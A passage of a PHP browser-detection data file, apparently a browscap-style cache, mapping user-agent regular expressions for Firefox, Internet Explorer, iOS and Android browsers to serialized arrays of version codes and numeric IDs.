;s:6:"@4|4|4";i:1963;s:6:"@5|4|6";i:1964;s:6:"@5|5|6";i:1965;s:6:"@4|5|6";i:1966;s:6:"@4|4|3";i:1967;s:6:"@4|4|9";i:1968;s:6:"@5|6|3";i:1969;s:6:"@4|6|3";i:1970;s:6:"@5|6|2";i:1971;}', '@^Mozilla/5\.0 \(iPhone.*CPU iPhone OS .* like Mac OS X.*\).*$@'=>1972, '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*\) Gecko.*/.*Mozilla/5\.0.*$@'=>1973, '@^Mozilla/(\d)\.0 \(.*Windows NT 6\.(\d).*\) Gecko.* Firefox/(\d)(\d)\.0.*$@'=>'a:318:{s:8:"@5|1|4|0";i:1974;s:8:"@5|0|4|0";i:1975;s:8:"@4|4|4|0";i:1976;s:8:"@4|3|4|0";i:1977;s:8:"@5|2|4|0";i:1978;s:8:"@5|3|4|0";i:1979;s:8:"@5|2|5|2";i:1980;s:8:"@5|2|3|6";i:1981;s:8:"@5|3|5|2";i:1982;s:8:"@5|4|5|2";i:1983;s:8:"@4|2|4|0";i:1984;s:8:"@4|1|4|0";i:1985;s:8:"@5|1|5|3";i:1986;s:8:"@5|2|5|3";i:1987;s:8:"@5|3|5|3";i:1988;s:8:"@5|4|5|3";i:1989;s:8:"@5|4|3|9";i:1990;s:8:"@4|4|5|3";i:1991;s:8:"@4|0|4|0";i:1992;s:8:"@4|1|5|3";i:1993;s:8:"@4|2|5|3";i:1994;s:8:"@4|3|5|3";i:1995;s:8:"@5|1|5|2";i:1996;s:8:"@5|0|5|2";i:1997;s:8:"@5|4|4|1";i:1998;s:8:"@5|3|4|1";i:1999;s:8:"@5|2|4|1";i:2000;s:8:"@5|1|4|1";i:2001;s:8:"@4|0|4|2";i:2002;s:8:"@5|1|3|6";i:2003;s:8:"@4|4|4|2";i:2004;s:8:"@4|3|4|2";i:2005;s:8:"@4|2|4|2";i:2006;s:8:"@4|1|4|2";i:2007;s:8:"@5|0|4|1";i:2008;s:8:"@4|4|4|1";i:2009;s:8:"@4|2|5|2";i:2010;s:8:"@4|3|5|2";i:2011;s:8:"@4|4|5|2";i:2012;s:8:"@4|0|4|1";i:2013;s:8:"@4|1|5|2";i:2014;s:8:"@4|0|5|2";i:2015;s:8:"@4|3|4|1";i:2016;s:8:"@4|2|4|1";i:2017;s:8:"@4|1|4|1";i:2018;s:8:"@5|3|3|9";i:2019;s:8:"@5|1|3|9";i:2020;s:8:"@5|1|3|7";i:2021;s:8:"@5|0|3|7";i:2022;s:8:"@4|1|5|5";i:2023;s:8:"@4|2|5|5";i:2024;s:8:"@5|2|3|7";i:2025;s:8:"@5|3|3|7";i:2026;s:8:"@4|2|3|8";i:2027;s:8:"@4|1|3|8";i:2028;s:8:"@4|0|3|8";i:2029;s:8:"@5|4|3|7";i:2030;s:8:"@4|3|5|5";i:2031;s:8:"@4|4|5|5";i:2032;s:8:"@5|4|5|5";i:2033;s:8:"@4|2|3|7";i:2034;s:8:"@4|1|3|7";i:2035;s:8:"@4|0|3|7";i:2036;s:8:"@5|3|5|5";i:2037;s:8:"@5|2|5|5";i:2038;s:8:"@5|3|3|6";i:2039;s:8:"@4|4|3|7";i:2040;s:8:"@4|3|3|7";i:2041;s:8:"@5|1|5|5";i:2042;s:8:"@4|3|3|8";i:2043;s:8:"@4|4|3|8";i:2044;s:8:"@4|1|3|9";i:2045;s:8:"@4|0|3|9";i:2046;s:8:"@5|4|3|8";i:2047;s:8:"@4|1|5|4";i:2048;s:8:"@4|2|3|9";i:2049;s:8:"@4|3|3|9";i:2050;s:8:"@5|4|3|6";i:2051;s:8:"@5|0|3|9";i:2052;s:8:"@5|4|5|1";i:2053;s:8:"@4|4|3|9";i:2054;s:8:"@4|2|5|4";i:2055;s:8:"@4|3|5|4";i:2056;s:8:"@5|3|5|4";i:2057;s:8:"@5|4|5|4";i:2058;s:8:"@5|1|3|8";i:2059;s:8:"@5|0|3|8";i:2060;s:8:"@5|2|5|4";i:2061;s:8:"@5|1|5|4";i:2062;s:8:"@4|4|5|4";i:2063;s:8:"@5|3|3|8";i:2064;s:8:"@5|2|3|8";i:2065;s:8:"@5|2|3|9";i:2066;s:8:"@5|1|5|1";i:2067;s:8:"@4|0|4|6";i:2068;s:8:"@5|4|4|5";i:2069;s:8:"@4|0|4|9";i:2070;s:8:"@4|1|4|9";i:2071;s:8:"@4|1|4|6";i:2072;s:8:"@4|2|4|6";i:2073;s:8:"@5|1|4|6";i:2074;s:8:"@5|0|4|6";i:2075;s:8:"@4|4|4|6";i:2076;s:8:"@4|3|4|6";i:2077;s:8:"@4|2|4|9";i:2078;s:8:"@4|3|4|9";i:2079;s:8:"@5|3|4|9";i:2080;s:8:"@5|4|4|9";i:2081;s:8:"@5|1|4|5";i:2082;s:8:"@5|0|4|5";i:2083;s:8:"@5|2|4|9";i:2084;s:8:"@5|1|4|9";i:2085;s:8:"@4|4|4|9";i:2086;s:8:"@5|3|4|5";i:2087;s:8:"@5|2|4|5";i:2088;s:8:"@5|0|4|9";i:2089;s:8:"@5|2|4|6";i:2090;s:8:"@5|3|4|6";i:2091;s:8:"@4|3|4|8";i:2092;s:8:"@4|2|4|8";i:2093;s:8:"@4|1|4|8";i:2094;s:8:"@4|0|4|8";i:2095;s:8:"@4|4|4|8";i:2096;s:8:"@5|0|4|8";i:2097;s:8:"@5|4|4|8";i:2098;s:8:"@5|3|4|8";i:2099;s:8:"@5|2|4|8";i:2100;s:8:"@5|1|4|8";i:2101;s:8:"@5|1|6|2";i:2102;s:8:"@5|4|4|7";i:2103;s:8:"@4|2|4|7";i:2104;s:8:"@4|1|4|7";i:2105;s:8:"@4|0|4|7";i:2106;s:8:"@5|4|4|6";i:2107;s:8:"@4|3|4|7";i:2108;s:8:"@4|4|4|7";i:2109;s:8:"@5|3|4|7";i:2110;s:8:"@5|2|4|7";i:2111;s:8:"@5|1|4|7";i:2112;s:8:"@5|0|4|7";i:2113;s:8:"@4|4|4|5";i:2114;s:8:"@4|3|4|5";i:2115;s:8:"@4|2|4|3";i:2116;s:8:"@4|1|4|3";i:2117;s:8:"@4|0|4|3";i:2118;s:8:"@5|4|4|2";i:2119;s:8:"@4|3|4|3";i:2120;s:8:"@4|4|4|3";i:2121;s:8:"@5|3|4|3";i:2122;s:8:"@5|2|4|3";i:2123;s:8:"@5|1|4|3";i:2124;s:8:"@5|0|4|3";i:2125;s:8:"@5|3|4|2";i:2126;s:8:"@5|2|4|2";i:2127;s:8:"@5|0|4|2";i:2128;s:8:"@5|0|5|1";i:2129;s:8:"@5|0|3|6";i:2130;s:8:"@5|2|5|1";i:2131;s:8:"@4|4|5|1";i:2132;s:8:"@4|3|5|1";i:2133;s:8:"@5|1|4|2";i:2134;s:8:"@4|0|5|1";i:2135;s:8:"@4|1|5|1";i:2136;s:8:"@4|2|5|1";i:2137;s:8:"@5|4|4|3";i:2138;s:8:"@5|4|5|0";i:2139;s:8:"@5|1|4|4";i:2140;s:8:"@5|0|4|4";i:2141;s:8:"@4|4|4|4";i:2142;s:8:"@4|3|4|4";i:2143;s:8:"@5|2|4|4";i:2144;s:8:"@5|3|4|4";i:2145;s:8:"@4|2|4|5";i:2146;s:8:"@4|1|4|5";i:2147;s:8:"@4|0|4|5";i:2148;s:8:"@5|4|4|4";i:2149;s:8:"@4|2|4|4";i:2150;s:8:"@4|1|4|4";i:2151;s:8:"@5|0|5|0";i:2152;s:8:"@5|1|5|0";i:2153;s:8:"@5|2|5|0";i:2154;s:8:"@5|3|5|0";i:2155;s:8:"@4|4|5|0";i:2156;s:8:"@4|3|5|0";i:2157;s:8:"@4|0|4|4";i:2158;s:8:"@4|0|5|0";i:2159;s:8:"@4|1|5|0";i:2160;s:8:"@4|2|5|0";i:2161;s:8:"@5|3|5|1";i:2162;s:8:"@5|4|4|0";i:2163;s:8:"@4|1|3|2";i:2164;s:8:"@4|1|5|9";i:2165;s:8:"@4|2|5|9";i:2166;s:8:"@4|3|5|9";i:2167;s:8:"@4|2|3|2";i:2168;s:8:"@4|3|3|2";i:2169;s:8:"@5|2|6|3";i:2170;s:8:"@5|1|6|3";i:2171;s:8:"@4|4|3|2";i:2172;s:8:"@4|4|5|9";i:2173;s:8:"@4|0|3|2";i:2174;s:8:"@5|3|3|1";i:2175;s:8:"@5|2|3|1";i:2176;s:8:"@5|1|3|1";i:2177;s:8:"@5|4|3|1";i:2178;s:8:"@5|4|5|9";i:2179;s:8:"@5|1|5|9";i:2180;s:8:"@5|2|5|9";i:2181;s:8:"@5|3|5|9";i:2182;s:8:"@5|3|6|3";i:2183;s:8:"@5|0|3|2";i:2184;s:8:"@4|2|5|8";i:2185;s:8:"@4|3|5|8";i:2186;s:8:"@4|4|5|8";i:2187;s:8:"@4|1|3|3";i:2188;s:8:"@4|1|5|8";i:2189;s:8:"@4|2|3|3";i:2190;s:8:"@5|0|3|3";i:2191;s:8:"@4|4|3|3";i:2192;s:8:"@4|3|3|3";i:2193;s:8:"@5|1|5|8";i:2194;s:8:"@5|2|5|8";i:2195;s:8:"@5|3|3|2";i:2196;s:8:"@5|2|3|2";i:2197;s:8:"@5|1|3|2";i:2198;s:8:"@5|4|3|2";i:2199;s:8:"@4|0|3|3";i:2200;s:8:"@5|3|5|8";i:2201;s:8:"@5|4|5|8";i:2202;s:8:"@5|4|6|3";i:2203;s:8:"@5|0|3|1";i:2204;s:8:"@4|3|6|3";i:2205;s:8:"@4|2|6|1";i:2206;s:8:"@4|3|6|1";i:2207;s:8:"@4|4|6|1";i:2208;s:8:"@5|1|6|1";i:2209;s:8:"@4|1|6|1";i:2210;s:8:"@4|0|3|0";i:2211;s:8:"@4|3|3|0";i:2212;s:8:"@4|2|3|0";i:2213;s:8:"@4|1|3|0";i:2214;s:8:"@5|2|6|1";i:2215;s:8:"@5|3|6|1";i:2216;s:8:"@4|3|6|2";i:2217;s:8:"@4|4|6|2";i:2218;s:8:"@5|2|6|2";i:2219;s:8:"@4|2|6|2";i:2220;s:8:"@4|1|6|2";i:2221;s:8:"@5|4|6|1";i:2222;s:8:"@5|4|6|2";i:2223;s:8:"@5|3|6|2";i:2224;s:8:"@4|4|3|0";i:2225;s:8:"@5|0|3|0";i:2226;s:8:"@4|1|3|1";i:2227;s:8:"@4|0|3|1";i:2228;s:8:"@4|1|6|0";i:2229;s:8:"@4|2|6|0";i:2230;s:8:"@4|2|3|1";i:2231;s:8:"@4|3|3|1";i:2232;s:8:"@4|4|3|1";i:2233;s:8:"@4|2|6|3";i:2234;s:8:"@4|1|6|3";i:2235;s:8:"@4|3|6|0";i:2236;s:8:"@4|4|6|0";i:2237;s:8:"@5|3|3|0";i:2238;s:8:"@5|2|3|0";i:2239;s:8:"@5|1|3|0";i:2240;s:8:"@5|4|3|0";i:2241;s:8:"@5|4|6|0";i:2242;s:8:"@5|1|6|0";i:2243;s:8:"@5|2|6|0";i:2244;s:8:"@5|3|6|0";i:2245;s:8:"@5|1|3|3";i:2246;s:8:"@4|4|6|3";i:2247;s:8:"@4|3|5|6";i:2248;s:8:"@4|3|3|5";i:2249;s:8:"@5|2|5|7";i:2250;s:8:"@5|1|5|7";i:2251;s:8:"@4|2|3|5";i:2252;s:8:"@4|4|3|5";i:2253;s:8:"@5|3|5|7";i:2254;s:8:"@4|4|3|4";i:2255;s:8:"@5|4|5|7";i:2256;s:8:"@5|2|3|4";i:2257;s:8:"@4|4|5|6";i:2258;s:8:"@4|2|5|6";i:2259;s:8:"@4|1|3|5";i:2260;s:8:"@4|3|5|7";i:2261;s:8:"@4|2|5|7";i:2262;s:8:"@4|1|5|7";i:2263;s:8:"@5|1|3|4";i:2264;s:8:"@4|4|5|7";i:2265;s:8:"@5|3|3|4";i:2266;s:8:"@5|0|3|4";i:2267;s:8:"@4|0|3|5";i:2268;s:8:"@4|1|5|6";i:2269;s:8:"@5|4|3|4";i:2270;s:8:"@4|3|3|4";i:2271;s:8:"@5|0|3|5";i:2272;s:8:"@5|4|3|3";i:2273;s:8:"@5|3|3|5";i:2274;s:8:"@5|3|5|6";i:2275;s:8:"@4|1|3|6";i:2276;s:8:"@5|2|5|6";i:2277;s:8:"@5|3|3|3";i:2278;s:8:"@4|2|3|6";i:2279;s:8:"@5|4|3|5";i:2280;s:8:"@4|3|3|6";i:2281;s:8:"@4|4|3|6";i:2282;s:8:"@5|2|3|3";i:2283;s:8:"@5|1|5|6";i:2284;s:8:"@5|4|5|6";i:2285;s:8:"@4|2|3|4";i:2286;s:8:"@4|0|3|6";i:2287;s:8:"@4|0|3|4";i:2288;s:8:"@5|1|3|5";i:2289;s:8:"@4|1|3|4";i:2290;s:8:"@5|2|3|5";i:2291;}', '@^Mozilla/5\.0 \(.*Android.*Tablet.*\) Gecko.* Firefox/(\d)(\d)\.(\d).*$@'=>'a:56:{s:6:"@6|3|0";i:2292;s:6:"@2|2|0";i:2294;s:6:"@2|1|0";i:2295;s:6:"@6|2|0";i:2296;s:6:"@1|8|0";i:2302;s:6:"@3|8|0";i:2303;s:6:"@2|3|0";i:2306;s:6:"@3|6|0";i:2307;s:6:"@1|9|0";i:2310;s:6:"@2|4|0";i:2311;s:6:"@5|9|0";i:2314;s:6:"@5|0|1";i:2316;s:6:"@5|1|0";i:2319;s:6:"@5|3|0";i:2321;s:6:"@2|5|0";i:2322;s:6:"@5|2|0";i:2324;s:6:"@5|0|0";i:2325;s:6:"@3|0|0";i:2328;s:6:"@2|9|0";i:2330;s:6:"@3|1|0";i:2331;s:6:"@4|9|0";i:2333;s:6:"@4|8|0";i:2335;s:6:"@5|4|0";i:2337;s:6:"@3|9|0";i:2338;s:6:"@5|8|0";i:2341;s:6:"@6|0|0";i:2343;s:6:"@6|1|0";i:2344;s:6:"@5|5|0";i:2350;s:6:"@3|2|0";i:2351;s:6:"@3|7|0";i:2353;s:6:"@5|6|0";i:2354;s:6:"@5|7|0";i:2355;s:6:"@1|6|0";i:2362;s:6:"@3|4|0";i:2363;s:6:"@4|2|0";i:2364;s:6:"@1|3|0";i:2365;s:6:"@1|2|0";i:2367;s:6:"@3|3|1";i:2374;s:6:"@4|6|0";i:2376;s:6:"@4|5|0";i:2378;s:6:"@2|6|0";i:2380;s:6:"@4|4|0";i:2382;s:6:"@1|5|0";i:2383;s:6:"@2|7|0";i:2386;s:6:"@1|4|0";i:2388;s:6:"@4|3|0";i:2389;s:6:"@4|1|0";i:2393;s:6:"@1|7|0";i:2394;s:6:"@1|0|0";i:2396;s:6:"@3|5|0";i:2398;s:6:"@4|0|0";i:2399;s:6:"@1|1|0";i:2401;s:6:"@2|0|0";i:2402;s:6:"@4|7|0";i:2403;s:6:"@2|8|0";i:2405;s:6:"@3|3|0";i:2408;}', '@^Mozilla/5\.0 \(.*Android.*Mobile.*\) Gecko.* Firefox/(\d)(\d)\.(\d).*$@'=>'a:56:{s:6:"@6|3|0";i:2293;s:6:"@1|7|0";i:2297;s:6:"@2|4|0";i:2299;s:6:"@3|2|0";i:2300;s:6:"@6|2|0";i:2301;s:6:"@3|8|0";i:2304;s:6:"@2|1|0";i:2305;s:6:"@2|3|0";i:2308;s:6:"@3|7|0";i:2309;s:6:"@2|2|0";i:2312;s:6:"@3|6|0";i:2313;s:6:"@5|0|1";i:2315;s:6:"@2|5|0";i:2317;s:6:"@5|0|0";i:2318;s:6:"@5|1|0";i:2320;s:6:"@5|2|0";i:2323;s:6:"@4|9|0";i:2326;s:6:"@3|0|0";i:2327;s:6:"@2|9|0";i:2329;s:6:"@3|1|0";i:2332;s:6:"@4|8|0";i:2334;s:6:"@5|3|0";i:2336;s:6:"@5|8|0";i:2340;s:6:"@5|9|0";i:2342;s:6:"@6|0|0";i:2346;s:6:"@5|7|0";i:2348;s:6:"@5|5|0";i:2349;s:6:"@5|4|0";i:2352;s:6:"@5|6|0";i:2357;s:6:"@6|1|0";i:2358;s:6:"@2|0|0";i:2359;s:6:"@1|2|0";i:2360;s:6:"@2|7|0";i:2361;s:6:"@4|2|0";i:2366;s:6:"@3|3|0";i:2368;s:6:"@3|4|0";i:2369;s:6:"@1|9|0";i:2370;s:6:"@2|6|0";i:2371;s:6:"@1|1|0";i:2372;s:6:"@4|1|0";i:2373;s:6:"@1|5|0";i:2375;s:6:"@1|4|0";i:2377;s:6:"@4|6|0";i:2379;s:6:"@4|4|0";i:2381;s:6:"@4|7|0";i:2384;s:6:"@3|3|1";i:2385;s:6:"@1|3|0";i:2387;s:6:"@4|5|0";i:2390;s:6:"@4|3|0";i:2391;s:6:"@1|6|0";i:2392;s:6:"@4|0|0";i:2395;s:6:"@3|9|0";i:2397;s:6:"@1|0|0";i:2400;s:6:"@1|8|0";i:2404;s:6:"@2|8|0";i:2406;s:6:"@3|5|0";i:2407;}', '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*\) Gecko.*/.*Mozilla/5\.0.*$@'=>'a:5:{s:2:"@4";i:2298;s:2:"@2";i:2339;s:2:"@3";i:2345;s:2:"@1";i:2347;s:2:"@0";i:2356;}', '@^Mozilla/5\.0 \(masking\-agent; rv\:.*\) Gecko.* Firefox/.*$@'=>2409, '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*Trident/7\.0.*rv\:11\.0.*$@'=>2410, '@^Mozilla/5\.0 \(iPod.*CPU iPhone OS .* like Mac OS X.*\).*$@'=>2411, '@^Mozilla/5\.0 \(iPad.*CPU iPhone OS .* like Mac OS X.*\).*$@'=>2412, '@^Mozilla/5\.0 \(.*Android.*Tablet.*\) Gecko.* Firefox/(\d)\.(\d).*$@'=>'a:11:{s:4:"@2|0";i:2413;s:4:"@1|0";i:2417;s:4:"@9|0";i:2419;s:4:"@6|0";i:2420;s:4:"@7|0";i:2421;s:4:"@1|1";i:2423;s:4:"@5|0";i:2426;s:4:"@8|0";i:2428;s:4:"@4|0";i:2430;s:4:"@2|3";i:2432;s:4:"@2|1";i:2434;}', '@^Mozilla/5\.0 \(.*Android.*Mobile.*\) Gecko.* Firefox/(\d)\.(\d).*$@'=>'a:11:{s:4:"@8|0";i:2414;s:4:"@9|0";i:2415;s:4:"@1|1";i:2416;s:4:"@6|0";i:2418;s:4:"@1|0";i:2422;s:4:"@2|0";i:2424;s:4:"@7|0";i:2425;s:4:"@2|3";i:2427;s:4:"@4|0";i:2429;s:4:"@2|1";i:2431;s:4:"@5|0";i:2433;}', '@^Mozilla/5\.0 \(.*Windows.*Trident/7\.0.*Touch.*rv\:11\.0.*\).*$@'=>2435, '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*Trident/7\.0.*rv\:11\.0.*$@'=>'a:3:{s:2:"@3";i:2436;s:2:"@4";i:2437;s:2:"@1";i:2438;}', '@^Mozilla/(\d)\.0 \(.*Windows NT 10\.0.*\) Gecko.* Firefox/.*$@'=>'a:2:{s:2:"@5";i:2439;s:2:"@4";i:2440;}', '@^Mozilla/5\.0; TOB.* \(.*Windows.*Trident/7\.0.*rv\:11\.0.*$@'=>2441, '@^Mozilla/5\.0 \(.*MSIE 9\.0.*; .*Windows.*Trident/5\.0.*\).*$@'=>2442, '@^Mozilla/(\d)\.0 \(.*Windows NT 6\.(\d).*\) Gecko.* Firefox/.*$@'=>'a:10:{s:4:"@4|1";i:2443;s:4:"@4|0";i:2444;s:4:"@5|3";i:2445;s:4:"@4|3";i:2446;s:4:"@4|4";i:2447;s:4:"@5|4";i:2448;s:4:"@4|2";i:2449;s:4:"@5|1";i:2451;s:4:"@5|2";i:2452;s:4:"@5|0";i:2453;}', '@^Mozilla/4\.0 \(compatible.*; MSIE 7\.0b.*; .*Windows.*$@'=>2450, '@^Mozilla/5\.0 \(.*Android.*Tablet.*\) Gecko.* Firefox/.*$@'=>2454, '@^Mozilla/5\.0 \(.*Android.*Mobile.*\) Gecko.* Firefox/.*$@'=>2455, '@^Mozilla/(\d)\.0 \(compatible; MSIE 10\.0.*; .*Windows.*$@'=>'a:2:{s:2:"@5";i:2456;s:2:"@4";i:2457;}', '@^Mozilla/4\.0 \(compatible.*; MSIE 7\.0.*; .*Windows.*$@'=>2458, '@^Mozilla/5\.0 \(.*CPU iPhone OS .* like Mac OS X.*\).*$@'=>2459, '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*; Trident/8\.0.*\).*$@'=>2460, '@^Mozilla/5\.0 \(.*Android.*Tablet.*\).*Gecko.*Firefox/.*$@'=>2461, '@^Mozilla/5\.0 \(.*Android.*Mobile.*\).*Gecko.*Firefox/.*$@'=>2462, '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0.*; .*Windows.*$@'=>'a:7:{s:4:"@5|7";i:2463;s:4:"@4|6";i:2464;s:4:"@5|6";i:2465;s:4:"@5|9";i:2466;s:4:"@4|9";i:2467;s:4:"@5|8";i:2468;s:4:"@4|8";i:2469;}', '@^Mozilla/(\d)\.0 \(.*Mac OS X.*\) Gecko.* Firefox/(\d)(\d)\.0.*$@'=>'a:68:{s:6:"@5|6|0";i:2470;s:6:"@5|3|3";i:2471;s:6:"@5|4|0";i:2472;s:6:"@4|5|8";i:2473;s:6:"@4|4|0";i:2474;s:6:"@4|5|3";i:2475;s:6:"@4|3|4";i:2476;s:6:"@5|5|3";i:2477;s:6:"@4|4|1";i:2478;s:6:"@5|5|8";i:2479;s:6:"@5|4|1";i:2482;s:6:"@4|5|2";i:2483;s:6:"@4|3|3";i:2484;s:6:"@5|5|2";i:2485;s:6:"@5|3|9";i:2487;s:6:"@5|5|7";i:2488;s:6:"@5|5|6";i:2489;s:6:"@4|5|5";i:2490;s:6:"@5|3|7";i:2491;s:6:"@5|5|5";i:2492;s:6:"@4|5|6";i:2493;s:6:"@4|3|7";i:2494;s:6:"@4|3|6";i:2495;s:6:"@4|3|8";i:2496;s:6:"@5|3|5";i:2497;s:6:"@4|5|4";i:2498;s:6:"@4|3|9";i:2499;s:6:"@5|3|4";i:2500;s:6:"@4|5|7";i:2501;s:6:"@5|5|4";i:2502;s:6:"@5|3|8";i:2503;s:6:"@4|3|5";i:2504;s:6:"@5|3|2";i:2505;s:6:"@4|4|2";i:2506;s:6:"@4|3|0";i:2507;s:6:"@5|4|9";i:2508;s:6:"@4|6|1";i:2509;s:6:"@5|4|5";i:2510;s:6:"@5|3|0";i:2511;s:6:"@5|3|6";i:2512;s:6:"@4|4|5";i:2513;s:6:"@4|4|9";i:2514;s:6:"@4|4|6";i:2515;s:6:"@4|4|8";i:2516;s:6:"@4|6|2";i:2517;s:6:"@5|4|8";i:2518;s:6:"@5|4|7";i:2519;s:6:"@4|4|7";i:2520;s:6:"@5|6|1";i:2521;s:6:"@5|4|6";i:2522;s:6:"@5|4|4";i:2523;s:6:"@4|3|1";i:2524;s:6:"@5|5|9";i:2525;s:6:"@4|5|1";i:2526;s:6:"@4|3|2";i:2527;s:6:"@5|5|1";i:2528;s:6:"@4|5|9";i:2529;s:6:"@5|6|3";i:2530;s:6:"@5|4|2";i:2531;s:6:"@4|4|3";i:2532;s:6:"@5|4|3";i:2533;s:6:"@4|6|0";i:2534;s:6:"@4|5|0";i:2535;s:6:"@4|4|4";i:2536;s:6:"@5|5|0";i:2537;s:6:"@5|3|1";i:2538;s:6:"@4|6|3";i:2539;s:6:"@5|6|2";i:2540;}', '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*; Trident/8\.0.*\).*$@'=>'a:3:{s:2:"@3";i:2480;s:2:"@4";i:2481;s:2:"@1";i:2486;}', '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*\) Gecko.*/(\d)(\d)\.0.*$@'=>'a:34:{s:4:"@4|5";i:2541;s:4:"@3|9";i:2542;s:4:"@3|4";i:2543;s:4:"@4|0";i:2544;s:4:"@3|5";i:2545;s:4:"@3|8";i:2546;s:4:"@3|7";i:2547;s:4:"@3|6";i:2548;s:4:"@4|1";i:2549;s:4:"@3|3";i:2550;s:4:"@3|1";i:2551;s:4:"@3|0";i:2552;s:4:"@4|6";i:2553;s:4:"@4|4";i:2554;s:4:"@4|3";i:2555;s:4:"@4|2";i:2556;s:4:"@3|2";i:2557;s:4:"@4|7";i:2558;s:4:"@4|8";i:2559;s:4:"@5|7";i:2560;s:4:"@5|9";i:2561;s:4:"@5|8";i:2562;s:4:"@5|1";i:2563;s:4:"@5|6";i:2564;s:4:"@6|1";i:2565;s:4:"@6|3";i:2566;s:4:"@5|0";i:2567;s:4:"@5|4";i:2568;s:4:"@5|2";i:2569;s:4:"@6|0";i:2570;s:4:"@5|3";i:2571;s:4:"@6|2";i:2572;s:4:"@5|5";i:2573;s:4:"@4|9";i:2574;}', '@^Mozilla/5\.0 \(iPhone.*CPU.*OS.* like Mac OS X.*\).*$@'=>2575, '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*; Trident/7\.0.*$@'=>'a:2:{s:2:"@3";i:2576;s:2:"@1";i:2577;}', '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*\) Gecko.*/(\d)(\d)\.0.*$@'=>'a:159:{s:6:"@3|4|9";i:2578;s:6:"@1|3|3";i:2579;s:6:"@3|6|3";i:2580;s:6:"@4|5|9";i:2581;s:6:"@0|5|0";i:2582;s:6:"@4|3|9";i:2583;s:6:"@4|4|9";i:2584;s:6:"@1|6|3";i:2585;s:6:"@2|6|3";i:2586;s:6:"@1|5|0";i:2587;s:6:"@1|3|0";i:2588;s:6:"@4|5|3";i:2589;s:6:"@3|3|3";i:2590;s:6:"@0|4|7";i:2591;s:6:"@2|3|3";i:2592;s:6:"@0|3|0";i:2593;s:6:"@2|5|0";i:2594;s:6:"@3|5|0";i:2595;s:6:"@4|5|0";i:2596;s:6:"@3|6|0";i:2597;s:6:"@2|3|2";i:2598;s:6:"@3|5|9";i:2599;s:6:"@2|5|9";i:2600;s:6:"@1|6|0";i:2601;s:6:"@0|3|9";i:2602;s:6:"@1|3|9";i:2603;s:6:"@1|5|9";i:2604;s:6:"@1|6|2";i:2605;s:6:"@3|5|2";i:2606;s:6:"@1|3|4";i:2607;s:6:"@2|3|4";i:2608;s:6:"@2|6|0";i:2609;s:6:"@2|3|9";i:2610;s:6:"@1|4|6";i:2611;s:6:"@3|3|4";i:2612;s:6:"@0|4|6";i:2613;s:6:"@2|4|6";i:2614;s:6:"@3|4|6";i:2615;s:6:"@3|3|9";i:2616;s:6:"@4|4|6";i:2617;s:6:"@4|4|2";i:2618;s:6:"@0|3|4";i:2619;s:6:"@1|4|5";i:2620;s:6:"@3|5|1";i:2621;s:6:"@4|5|1";i:2622;s:6:"@2|4|1";i:2623;s:6:"@0|3|1";i:2624;s:6:"@1|4|1";i:2625;s:6:"@2|5|1";i:2626;s:6:"@0|4|4";i:2627;s:6:"@0|4|1";i:2628;s:6:"@0|5|1";i:2629;s:6:"@1|5|1";i:2630;s:6:"@3|4|1";i:2631;s:6:"@1|3|1";i:2632;s:6:"@2|4|3";i:2633;s:6:"@1|4|3";i:2634;s:6:"@0|4|3";i:2635;s:6:"@4|4|1";i:2636;s:6:"@3|4|3";i:2637;s:6:"@4|4|3";i:2638;s:6:"@2|3|1";i:2639;s:6:"@3|3|1";i:2640;s:6:"@3|5|4";i:2641;s:6:"@4|3|1";i:2642;s:6:"@1|4|4";i:2643;s:6:"@2|4|4";i:2644;s:6:"@3|3|0";i:2645;s:6:"@4|6|0";i:2646;s:6:"@4|3|0";i:2647;s:6:"@4|6|3";i:2648;s:6:"@2|5|4";i:2649;s:6:"@0|4|5";i:2650;s:6:"@4|4|5";i:2651;s:6:"@3|4|5";i:2652;s:6:"@2|4|5";i:2653;s:6:"@1|4|7";i:2654;s:6:"@3|5|3";i:2655;s:6:"@2|5|3";i:2656;s:6:"@2|6|1";i:2657;s:6:"@1|6|1";i:2658;s:6:"@4|4|4";i:2659;s:6:"@3|4|4";i:2660;s:6:"@3|6|1";i:2661;s:6:"@4|6|1";i:2662;s:6:"@1|5|3";i:2663;s:6:"@2|5|2";i:2664;s:6:"@1|5|2";i:2665;s:6:"@0|5|2";i:2666;s:6:"@2|3|0";i:2667;s:6:"@0|3|3";i:2668;s:6:"@0|3|8";i:2669;s:6:"@1|3|8";i:2670;s:6:"@2|3|8";i:2671;s:6:"@3|3|8";i:2672;s:6:"@2|4|7";i:2673;s:6:"@0|3|5";i:2674;s:6:"@4|3|5";i:2675;s:6:"@3|3|5";i:2676;s:6:"@2|3|5";i:2677;s:6:"@1|3|5";i:2678;s:6:"@4|3|8";i:2679;s:6:"@0|4|0";i:2680;s:6:"@1|5|8";i:2681;s:6:"@4|5|4";i:2682;s:6:"@2|5|8";i:2683;s:6:"@4|4|8";i:2684;s:6:"@4|4|0";i:2685;s:6:"@4|5|2";i:2686;s:6:"@1|4|0";i:2687;s:6:"@2|4|0";i:2688;s:6:"@3|4|0";i:2689;s:6:"@1|5|6";i:2690;s:6:"@3|3|2";i:2691;s:6:"@0|3|6";i:2692;s:6:"@1|3|2";i:2693;s:6:"@1|5|7";i:2694;s:6:"@0|3|2";i:2695;s:6:"@1|3|6";i:2696;s:6:"@2|3|6";i:2697;s:6:"@4|3|6";i:2698;s:6:"@1|5|4";i:2699;s:6:"@3|3|6";i:2700;s:6:"@4|5|6";i:2701;s:6:"@3|5|6";i:2702;s:6:"@3|3|7";i:2703;s:6:"@4|3|7";i:2704;s:6:"@2|5|6";i:2705;s:6:"@4|5|7";i:2706;s:6:"@2|3|7";i:2707;s:6:"@1|3|7";i:2708;s:6:"@2|5|7";i:2709;s:6:"@3|5|7";i:2710;s:6:"@0|3|7";i:2711;s:6:"@3|4|8";i:2712;s:6:"@4|3|2";i:2713;s:6:"@3|5|5";i:2714;s:6:"@2|5|5";i:2715;s:6:"@4|5|5";i:2716;s:6:"@1|4|9";i:2717;s:6:"@3|5|8";i:2718;s:6:"@4|5|8";i:2719;s:6:"@4|3|4";i:2720;s:6:"@4|6|2";i